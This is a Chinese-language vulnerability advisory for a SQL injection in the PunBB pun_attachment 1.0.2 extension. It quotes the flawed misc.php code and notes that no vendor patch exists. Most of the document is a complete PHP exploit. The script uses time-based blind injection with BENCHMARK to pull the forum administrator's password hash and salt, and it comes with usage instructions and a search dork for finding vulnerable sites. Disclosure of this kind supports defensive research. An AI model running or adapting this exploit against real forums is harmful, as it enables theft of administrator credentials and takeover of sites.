发布日期：2009-10-29
更新日期：2009-10-30

受影响系统：

PunBB pun_attachment 1.0.2

描述：

---

BUGTRAQ  ID: 36865

PunBB是一款基于PHP的论坛程序。

PunBB所使用的pun_attachment扩展中没有正确地过滤对misc.php页面所提交的secure_str参数：

if (isset($_GET['secure_str']))
{
    if (preg_match('~(\d+)f(\d+)~', $_GET['secure_str'], $match))
    {
    ...
            'WHERE'        => 'a.id = '.$attach_item.' AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \''.$_GET['secure_str'].'\''

远程攻击者可以通过提交恶意的参数请求执行SQL注入攻击。

<*来源：puret_t （puretot@gmail.com）
  
  链接：http://secunia.com/advisories/37174/
        http://bbs.wolvez.org/topic/98/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Punbb Extension Attachment <= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PunBB"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to punbb
Example:
php '.$argv[0].' localhost /punbb/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$pre = 'pun_';

$benchmark = 200000000;
$timeout = 10;

echo "Plz Waiting...\nPassword:\n";
/**
* get pass
*/
$j = 1;
$pass = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters

while (strlen($pass) < 40) {
    for ($i = 0; $i <= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = '1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20'.$pre.'users%20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))%23';
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime > $timeout) {
                $pass .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit("\nExploit Failed!\n");
    }
    $j ++;
}

echo "\nSalt:\n";
/**
* get salt
*/
$j = 1;
$salt = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));

while (strlen($salt) < 12) {
    for ($i = 0; $i <= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = '1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20'.$pre.'users%20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))%23';
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime > $timeout) {
                $salt .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit("\nExploit Failed!\n");
    }
    $j ++;
}
        
exit("\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n");

function send()
{
    global $host, $path, $cmd;

    $data = "GET ".$path."misc.php?item=1&secure_str=".$cmd."  HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n\r\n";

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

建议：

---

厂商补丁：

PunBB
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.punbb.org/

浏览次数：5802
严重程度：0（网友投票）